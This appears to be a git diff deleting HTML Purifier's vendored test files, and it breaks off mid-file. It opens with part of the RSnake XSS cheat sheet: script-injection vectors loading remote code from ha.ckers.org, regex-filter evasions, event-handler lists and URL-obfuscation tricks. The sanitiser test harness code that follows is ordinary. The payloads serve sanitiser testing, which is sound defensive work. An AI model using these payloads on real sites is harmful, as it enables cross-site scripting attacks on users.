class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" - Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - No Quotes/Semicolons - <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Event Handlers List 1 - See Below - Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - --onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element's timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - --onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - - Browser support: - - - Event Handlers List 2 - See Below - - -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) - - - - Browser support: - - - Event Handlers List 3 - See Below - -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowDelete() (user or attacker would need to delete a row in a data source) - --onRowInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> - And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IP Encoding - <A HREF="http://66.102.7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - URL Encoding - <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Dword Encoding - <A HREF="http://1113982867/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Hex Encoding - <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Octal Encoding - <A HREF="http://0102.0146.0007.00000223/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Mixed Encoding - <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The tabs and newlines only work if this is encapsulated with quotes. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Protocol Resolution Bypass - <A HREF="//www.google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Firefox Lookups 1 - <A HREF="//google">XSS</A> - Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 2 - <A HREF="http://ha.ckers.org@google">XSS</A> - This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 3 - <A HREF="http://google:ha.ckers.org">XSS</A> - This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Removing Cnames - <A HREF="http://google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Extra dot for Absolute DNS - <A HREF="http://www.google.com./">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Link Location - <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) -JavaScript link location - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Content Replace - <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> - Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - diff --git a/vendor/htmlpurifier/tests/CliTestCase.php b/vendor/htmlpurifier/tests/CliTestCase.php deleted file mode 100644 index 0fc20ef05..000000000 --- a/vendor/htmlpurifier/tests/CliTestCase.php +++ /dev/null @@ -1,88 +0,0 @@ -_command = $command; - $this->_quiet = $quiet; - $this->_size = $size; - } - public function getLabel() - { - return $this->_command; - } - public function run($reporter) - { - if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); - return $this->_invokeCommand($this->_command, $reporter); - } - public function _invokeCommand($command, $reporter) - { - $xml = shell_exec($command); - if (! $xml) { - if (!$this->_quiet) { - $reporter->paintFail('Command did not have any output [' . $command . ']'); - } - return false; - } - $parser = $this->_createParser($reporter); - - set_error_handler(array($this, '_errorHandler')); - $status = $parser->parse($xml); - restore_error_handler(); - - if (! $status) { - if (!$this->_quiet) { - foreach ($this->_errors as $error) { - list($no, $str, $file, $line) = $error; - $reporter->paintFail("Error $no: $str on line $line of $file"); - } - if (strlen($xml) > 120) { - $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); - } else { - $msg = $xml; - } - $reporter->paintFail("Command produced malformed XML"); - $reporter->paintFormattedMessage($msg); - } - return false; - } - return true; - } - public function _createParser($reporter) - { - $parser = new SimpleTestXmlParser($reporter); - return $parser; - } - public function getSize() - { - // This code properly does the dry run and allows for proper test - // case reporting but it's REALLY slow, so I don't recommend it. - if ($this->_size === false) { - $reporter = new SimpleReporter(); - $this->_invokeCommand($this->_command . ' --dry', $reporter); - $this->_size = $reporter->getTestCaseCount(); - } - return $this->_size; - } - public function _errorHandler($a, $b, $c, $d) - { - $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/Debugger.php b/vendor/htmlpurifier/tests/Debugger.php deleted file mode 100644 index 918320a44..000000000 --- a/vendor/htmlpurifier/tests/Debugger.php +++ /dev/null @@ -1,164 +0,0 @@ -paint($mixed); -} -function paintIf($mixed, $conditional) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintIf($mixed, $conditional); -} -function paintWhen($mixed, $scopes = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintWhen($mixed, $scopes); -} -function paintIfWhen($mixed, $conditional, $scopes = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintIfWhen($mixed, $conditional, $scopes); -} -function addScope($id = false) -{ - $Debugger =& Debugger::instance(); - return $Debugger->addScope($id); -} -function removeScope($id) -{ - $Debugger =& Debugger::instance(); - return $Debugger->removeScope($id); -} -function resetScopes() -{ - $Debugger =& Debugger::instance(); - return $Debugger->resetScopes(); -} -function isInScopes($array = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->isInScopes($array); -} -/**#@-*/ - - -/** - * The debugging singleton. Most interesting stuff happens here. - */ -class Debugger -{ - - public $shouldPaint = false; - public $paints = 0; - public $current_scopes = array(); - public $scope_nextID = 1; - public $add_pre = true; - - public function Debugger() - { - $this->add_pre = !extension_loaded('xdebug'); - } - - public static function &instance() { - static $soleInstance = false; - if (!$soleInstance) $soleInstance = new Debugger(); - return $soleInstance; - } - - public function paintIf($mixed, $conditional) - { - if (!$conditional) return; - $this->paint($mixed); - } - - public function paintWhen($mixed, $scopes = array()) - { - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paintIfWhen($mixed, $conditional, $scopes = array()) - { - if (!$conditional) return; - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paint($mixed) - { - $this->paints++; - if($this->add_pre) echo '
    ';
    -        var_dump($mixed);
    -        if($this->add_pre) echo '
    '; - } - - public function addScope($id = false) - { - if ($id == false) { - $id = $this->scope_nextID++; - } - $this->current_scopes[$id] = true; - } - - public function removeScope($id) - { - if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); - } - - public function resetScopes() - { - $this->current_scopes = array(); - $this->scope_nextID = 1; - } - - public function isInScopes($scopes = array()) - { - if (empty($this->current_scopes)) { - return false; - } - if (!is_array($scopes)) { - $scopes = array($scopes); - } - foreach ($scopes as $scope_id) { - if (empty($this->current_scopes[$scope_id])) { - return false; - } - } - if (empty($scopes)) { - if ($this->scope_nextID == 1) { - return false; - } - for($i = 1; $i < $this->scope_nextID; $i++) { - if (empty($this->current_scopes[$i])) { - return false; - } - } - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/FSTools/FileSystemHarness.php b/vendor/htmlpurifier/tests/FSTools/FileSystemHarness.php deleted file mode 100644 index 8e2e21910..000000000 --- a/vendor/htmlpurifier/tests/FSTools/FileSystemHarness.php +++ /dev/null @@ -1,40 +0,0 @@ -dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; - mkdir($this->dir); - $this->oldDir = getcwd(); - - } - - public function __destruct() - { - FSTools::singleton()->rmdirr($this->dir); - } - - public function setup() - { - chdir($this->dir); - } - - public function tearDown() - { - chdir($this->oldDir); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/FSTools/FileTest.php b/vendor/htmlpurifier/tests/FSTools/FileTest.php deleted file mode 100644 index 5952dcd57..000000000 --- a/vendor/htmlpurifier/tests/FSTools/FileTest.php +++ /dev/null @@ -1,49 +0,0 @@ -assertFalse($file->exists()); - $file->write('foobar'); - $this->assertTrue($file->exists()); - $this->assertEqual($file->get(), 'foobar'); - $file->delete(); - $this->assertFalse($file->exists()); - } - - public function testGetNonExistent() - { - $name = 'notfound.txt'; - $file = new FSTools_File($name); - $this->expectError(); - $this->assertFalse($file->get()); - } - - public function testHandle() - { - $file = new FSTools_File('foo.txt'); - $this->assertFalse($file->exists()); - $file->open('w'); - $this->assertTrue($file->exists()); - $file->put('Foobar'); - $file->close(); - $file->open('r'); - $this->assertIdentical('F', $file->getChar()); - $this->assertFalse($file->eof()); - $this->assertIdentical('oo', $file->read(2)); - $this->assertIdentical('bar', $file->getLine()); - $this->assertTrue($file->eof()); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php deleted file mode 100644 index d18c036c3..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php +++ /dev/null @@ -1,134 +0,0 @@ -attr_collections = array( - 'Core' => array( - 0 => array('Soup', 'Undefined'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2', - ), - 'Soup' => array( - 'attribute-3' => 'Type3-old' // overwritten - ) - ); - - $modules['Module2'] = new HTMLPurifier_HTMLModule(); - $modules['Module2']->attr_collections = array( - 'Core' => array( - 0 => array('Brocolli') - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ); - - $collections->__construct($types, $modules); - // this is without identifier expansion or inclusions - $this->assertIdentical( - $collections->info, - array( - 'Core' => array( - 0 => array('Soup', 'Undefined', 'Brocolli'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2' - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ) - ); - - } - - public function test_performInclusions() - { - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - $collections->info = array( - 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), - 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), - 'SubInclusion' => array('attr2' => 'Type') - ); - - $collections->performInclusions($collections->info['Core']); - $this->assertIdentical( - $collections->info['Core'], - array( - 'attr-original' => 'Type', - 'attr' => 'Type', - 'attr2' => 'Type' - ) - ); - - // test recursive - $collections->info = array( - 'One' => array(0 => array('Two'), 'one' => 'Type'), - 'Two' => array(0 => array('One'), 'two' => 'Type') - ); - $collections->performInclusions($collections->info['One']); - $this->assertIdentical( - $collections->info['One'], - array( - 'one' => 'Type', - 'two' => 'Type' - ) - ); - - } - - public function test_expandIdentifiers() - { - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - - $attr = array( - 'attr1' => 'Color', - 'attr2*' => 'URI' - ); - $c_object = new HTMLPurifier_AttrDef_HTML_Color(); - $u_object = new HTMLPurifier_AttrDef_URI(); - - $types->setReturnValue('get', $c_object, array('Color')); - $types->setReturnValue('get', $u_object, array('URI')); - - $collections->expandIdentifiers($attr, $types); - - $u_object->required = true; - $this->assertIdentical( - $attr, - array( - 'attr1' => $c_object, - 'attr2' => $u_object - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php deleted file mode 100644 index b360f8449..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('.2'); - - // clamping to [0.0, 1,0] - $this->assertDef('1.2', '1'); - $this->assertDef('-3', '0'); - - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('000', '0'); - - $this->assertDef('asdf', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php deleted file mode 100644 index 61952d660..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php +++ /dev/null @@ -1,68 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - // explicitly cited in spec - $this->assertDef('0% 0%'); - $this->assertDef('100% 100%'); - $this->assertDef('14% 84%'); - $this->assertDef('2cm 1cm'); - $this->assertDef('top'); - $this->assertDef('left'); - $this->assertDef('center'); - $this->assertDef('right'); - $this->assertDef('bottom'); - $this->assertDef('left top'); - $this->assertDef('center 